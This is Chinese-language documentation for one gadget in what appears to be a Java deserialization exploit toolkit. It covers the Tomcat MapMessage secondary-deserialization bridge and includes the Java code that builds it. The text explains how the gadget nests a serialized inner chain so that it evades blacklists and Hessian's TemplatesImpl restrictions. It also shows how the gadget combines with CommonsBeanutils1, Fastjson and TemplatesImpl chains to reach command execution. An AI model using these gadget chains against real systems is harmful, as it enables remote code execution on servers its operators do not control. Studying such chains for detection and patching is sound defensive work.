- 类别:javanative 别名:— 优先级:—
- 作者:Ar3h
- 依赖:
org.apache.tomcat:catalina-tribes(org.apache.catalina.tribes.tipis.AbstractReplicatedMap$MapMessage)
构造 Tomcat AbstractReplicatedMap$MapMessage 实例,把「内层链」序列化成字节存入其 keydata 字段;当上游「调用 getter」的跳板触发 getKey() 时,MapMessage 内部对 keydata 执行一次嵌套的 Java 反序列化,从而形成二次反序列化桥梁(常用于绕过 Hessian 等场景对 TemplatesImpl 的限制)。
- 入口
tags:MapMessageChain、GetterGetter—— 需由上一环「暴露危险 getter 调用」的跳板触发(如 CommonsBeanutils1),被调用的 getter 即getKey()。MapMessageChain—— 本二次反序列化触发器的专属入口标签。
- 衔接
nextTags:JavaNativeDeserializePayload、CustomJavaDeserializeJavaNativeDeserializePayload—— 下游须是「把内层对象打包成待 Java 反序列化的字节 payload」的 gadget,即 JavaNativeSerialization。CustomJavaDeserialize—— 或对接自定义 Java 反序列化数据。
excludes:无。
public Object getObject(Object object) throws Exception {
Object mapMessage = Reflections.createWithoutConstructor(
"org.apache.catalina.tribes.tipis.AbstractReplicatedMap$MapMessage");
Reflections.setFieldValue(mapMessage, "keydata", CommonMethod.handleSerialized(object));
return mapMessage;
}createWithoutConstructor用ReflectionFactory跳过构造器直接实例化MapMessage(其为 Tombat 内部类,无公开无参构造)。CommonMethod.handleSerialized(object)把「内层链产物」序列化为byte[],写入私有字段keydata。这就是被嵌套的「第二段」序列化数据。- 运行期原理:
AbstractReplicatedMap$MapMessage.getKey()会调用XByteBuffer.deserialize(keydata)反序列化keydata——因此只要外层链能触发getKey(),就会对内层字节流再做一次 Java 反序列化。
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
Object object = chain.doCreate(context); // 取内层对象
context.put(ContextTag.GETTER_PARAM_NAME_KEY, this.paramName); // "key"
context.put(ContextTag.SPECIAL_METHOD_NAME_KEY, this.methodName); // "getKey"
context.put(ContextTag.SUPER_CLASS_NAME_KEY, AbstractReplicatedMap.MapMessage.class);
return this.getObject(object);
}- 先
chain.doCreate取内层对象,再交给getObject序列化封装。 - 向 context 注入:
GETTER_PARAM_NAME_KEY="key"、SPECIAL_METHOD_NAME_KEY="getKey"——告知上游 getter 跳板应触发的属性/方法名;SUPER_CLASS_NAME_KEY=MapMessage.class声明处理类型。
本 gadget 无 @Param。paramName="key"、methodName="getKey" 为内部固定字段。
- 依赖
catalina-tribes(Tomcat 集群模块)在目标 classpath 中存在。 - 定位为二次反序列化跳板:外层可用任意 getter 触发链(Hessian、CB1、Fastjson 等)驱动
getKey(),内层再打一段独立的 Java 原生反序列化 payload;由于内层以字节流形式存放,可绕过部分只检查外层类型的黑名单,并突破 Hessian 下TemplatesImpl的限制。 - 本身不产出 RCE,需与内层完整链(如
JavaNativeSerialization → CommonsBeanutils1 → TemplatesImpl → BytecodeConvert → Exec)组合。
自由构件,未直接出现在预设链(usedInChains 为空)。可参照「二次反序列化链」(chain 26)中 SignedObject 的位置替换使用。
- 上游(
tags=Getter,触发getKey()):CommonsBeanutils1、Fastjson等 getter 跳板。 - 下游(
nextTags=JavaNativeDeserializePayload):JavaNativeSerialization(打包内层字节 payload)。 - 同位平替(同为二次反序列化触发器):MapProxy、
SignedObject、MchangeC3p0HexSerialize。